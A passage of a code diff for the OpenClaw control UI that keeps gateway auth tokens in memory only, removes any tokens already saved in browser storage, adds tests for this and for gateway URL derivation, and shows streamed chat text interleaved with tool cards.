__OPENCLAW_CONTROL_UI_BASE_PATH__: value } as Window & typeof globalThis), + ); + return; + } + if (value == null) { + delete window.__OPENCLAW_CONTROL_UI_BASE_PATH__; + return; + } + Object.defineProperty(window, "__OPENCLAW_CONTROL_UI_BASE_PATH__", { + value, + writable: true, + configurable: true, + }); +} + +function expectedGatewayUrl(basePath: string): string { + const proto = location.protocol === "https:" ? "wss" : "ws"; + return `${proto}://${location.host}${basePath}`; +} + describe("loadSettings default gateway URL derivation", () => { beforeEach(() => { vi.resetModules(); vi.stubGlobal("localStorage", createStorageMock()); vi.stubGlobal("navigator", { language: "en-US" } as Navigator); + localStorage.clear(); + setControlUiBasePath(undefined); }); afterEach(() => { vi.restoreAllMocks(); + setControlUiBasePath(undefined); vi.unstubAllGlobals(); }); it("uses configured base path and normalizes trailing slash", async () => { - vi.stubGlobal("location", { + setTestLocation({ protocol: "https:", host: "gateway.example:8443", pathname: "/ignored/path", - } as Location); - vi.stubGlobal("window", { __OPENCLAW_CONTROL_UI_BASE_PATH__: " /openclaw/ " } as Window & - typeof globalThis); + }); + setControlUiBasePath(" /openclaw/ "); const { loadSettings } = await import("./storage.ts"); - expect(loadSettings().gatewayUrl).toBe("wss://gateway.example:8443/openclaw"); + expect(loadSettings().gatewayUrl).toBe(expectedGatewayUrl("/openclaw")); }); it("infers base path from nested pathname when configured base path is not set", async () => { - vi.stubGlobal("location", { + setTestLocation({ protocol: "http:", host: "gateway.example:18789", pathname: "/apps/openclaw/chat", - } as Location); - vi.stubGlobal("window", {} as Window & typeof globalThis); + }); const { loadSettings } = await import("./storage.ts"); - expect(loadSettings().gatewayUrl).toBe("ws://gateway.example:18789/apps/openclaw"); + expect(loadSettings().gatewayUrl).toBe(expectedGatewayUrl("/apps/openclaw")); + }); + + it("ignores and scrubs legacy persisted tokens", async () => { + setTestLocation({ + protocol: "https:", + host: "gateway.example:8443", + pathname: "/", + }); + localStorage.setItem( + "openclaw.control.settings.v1", + JSON.stringify({ + gatewayUrl: "wss://gateway.example:8443/openclaw", + token: "persisted-token", + sessionKey: "agent", + }), + ); + + const { loadSettings } = await import("./storage.ts"); + expect(loadSettings()).toMatchObject({ + gatewayUrl: "wss://gateway.example:8443/openclaw", + token: "", + sessionKey: "agent", + }); + expect(JSON.parse(localStorage.getItem("openclaw.control.settings.v1") ?? "{}")).toEqual({ + gatewayUrl: "wss://gateway.example:8443/openclaw", + sessionKey: "agent", + lastActiveSessionKey: "agent", + theme: "system", + chatFocusMode: false, + chatShowThinking: true, + splitRatio: 0.6, + navCollapsed: false, + navGroupsCollapsed: {}, + }); + }); + + it("does not persist gateway tokens when saving settings", async () => { + setTestLocation({ + protocol: "https:", + host: "gateway.example:8443", + pathname: "/", + }); + + const { saveSettings } = await import("./storage.ts"); + saveSettings({ + gatewayUrl: "wss://gateway.example:8443/openclaw", + token: "memory-only-token", + sessionKey: "main", + lastActiveSessionKey: "main", + theme: "system", + chatFocusMode: false, + chatShowThinking: true, + splitRatio: 0.6, + navCollapsed: false, + navGroupsCollapsed: {}, + }); + + expect(JSON.parse(localStorage.getItem("openclaw.control.settings.v1") ?? "{}")).toEqual({ + gatewayUrl: "wss://gateway.example:8443/openclaw", + sessionKey: "main", + lastActiveSessionKey: "main", + theme: "system", + chatFocusMode: false, + chatShowThinking: true, + splitRatio: 0.6, + navCollapsed: false, + navGroupsCollapsed: {}, + }); }); }); diff --git a/ui/src/ui/storage.ts b/ui/src/ui/storage.ts index 757dc9eab7f..b413cf38eb5 100644 --- a/ui/src/ui/storage.ts +++ b/ui/src/ui/storage.ts @@ -1,5 +1,7 @@ const KEY = "openclaw.control.settings.v1"; +type PersistedUiSettings = Omit & { token?: never }; + import { isSupportedLocale } from "../i18n/index.ts"; import { inferBasePathFromPathname, normalizeBasePath } from "./navigation.ts"; import type { ThemeMode } from "./theme.ts"; @@ -50,12 +52,13 @@ export function loadSettings(): UiSettings { return defaults; } const parsed = JSON.parse(raw) as Partial; - return { + const settings = { gatewayUrl: typeof parsed.gatewayUrl === "string" && parsed.gatewayUrl.trim() ? parsed.gatewayUrl.trim() : defaults.gatewayUrl, - token: typeof parsed.token === "string" ? parsed.token : defaults.token, + // Gateway auth is intentionally in-memory only; scrub any legacy persisted token on load. + token: defaults.token, sessionKey: typeof parsed.sessionKey === "string" && parsed.sessionKey.trim() ? parsed.sessionKey.trim() @@ -89,11 +92,31 @@ export function loadSettings(): UiSettings { : defaults.navGroupsCollapsed, locale: isSupportedLocale(parsed.locale) ? parsed.locale : undefined, }; + if ("token" in parsed) { + persistSettings(settings); + } + return settings; } catch { return defaults; } } export function saveSettings(next: UiSettings) { - localStorage.setItem(KEY, JSON.stringify(next)); + persistSettings(next); +} + +function persistSettings(next: UiSettings) { + const persisted: PersistedUiSettings = { + gatewayUrl: next.gatewayUrl, + sessionKey: next.sessionKey, + lastActiveSessionKey: next.lastActiveSessionKey, + theme: next.theme, + chatFocusMode: next.chatFocusMode, + chatShowThinking: next.chatShowThinking, + splitRatio: next.splitRatio, + navCollapsed: next.navCollapsed, + navGroupsCollapsed: next.navGroupsCollapsed, + ...(next.locale ? { locale: next.locale } : {}), + }; + localStorage.setItem(KEY, JSON.stringify(persisted)); } diff --git a/ui/src/ui/views/chat.test.ts b/ui/src/ui/views/chat.test.ts index 8c3828a133a..7fb329aead4 100644 --- a/ui/src/ui/views/chat.test.ts +++ b/ui/src/ui/views/chat.test.ts @@ -26,6 +26,7 @@ function createProps(overrides: Partial = {}): ChatProps { fallbackStatus: null, messages: [], toolMessages: [], + streamSegments: [], stream: null, streamStartedAt: null, assistantAvatarUrl: null, diff --git a/ui/src/ui/views/chat.ts b/ui/src/ui/views/chat.ts index e63f56c25fa..c4737226db7 100644 --- a/ui/src/ui/views/chat.ts +++ b/ui/src/ui/views/chat.ts @@ -43,6 +43,7 @@ export type ChatProps = { fallbackStatus?: FallbackIndicatorStatus | null; messages: unknown[]; toolMessages: unknown[]; + streamSegments: Array<{ text: string; ts: number }>; stream: string | null; streamStartedAt: number | null; assistantAvatarUrl?: string | null; @@ -566,8 +567,21 @@ function buildChatItems(props: ChatProps): Array { message: msg, }); } - if (props.showThinking) { - for (let i = 0; i < tools.length; i++) { + // Interleave stream segments and tool cards in order. Each segment + // contains text that was streaming before the corresponding tool started. + // This ensures correct visual ordering: text → tool → text → tool → ... + const segments = props.streamSegments ?? []; + const maxLen = Math.max(segments.length, tools.length); + for (let i = 0; i < maxLen; i++) { + if (i < segments.length && segments[i].text.trim().length > 0) { + items.push({ + kind: "stream" as const, + key: `stream-seg:${props.sessionKey}:${i}`, + text: segments[i].text, + startedAt: segments[i].ts, + }); + } + if (i < tools.length) { items.push({ kind: "message", key: messageKey(tools[i], i + history.length),